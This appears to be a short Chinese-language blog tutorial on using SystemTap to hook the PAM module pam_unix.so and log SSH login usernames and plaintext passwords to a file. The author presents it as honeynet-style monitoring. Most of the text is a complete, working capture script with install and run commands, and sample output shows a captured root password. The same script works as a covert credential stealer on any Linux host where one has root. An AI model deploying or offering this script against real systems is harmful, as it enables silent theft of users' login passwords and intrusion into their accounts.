systemtap 是一個 kernel debug 工具,所以可以分析 kernel 層級的東西。
Linux 利用 PAM 來驗證 使用者 資訊,所以 systemtap 就可用 pam_unix.so 來存取過濾 SSH 登入的過程,進而抓取我要的東西。
可以想像這樣子就像是 honeynet 了
安裝相關套件
yum install systemtap debuginfo-install $(rpm -qf /lib64/security/pam_unix.so)
vi capture.stp
#!/usr/bin/stap global username, pass, isSuccRet = 1; probe process("/lib64/security/pam_unix.so").function("_unix_verify_password") { username = user_string($name); pass = user_string($p); } probe process("/lib64/security/pam_unix.so").function("_unix_verify_password").return { if ($return == 0) { printf("User: %s\nPassword: %s\n\n", username, pass); isSuccRet = 0; } } probe process("/lib64/security/pam_unix.so").function("pam_sm_open_session") { if (isSuccRet != 0) { printf("Login via ssh service.\n\User: %s\nPassword: %s\n\n", username, pass); } isSuccRet = 1; }
執行捕抓
stap capture.stp -o password.txt
測試登入,就可以看到 password.txt 裡記錄著
User: root Password: 123456
留言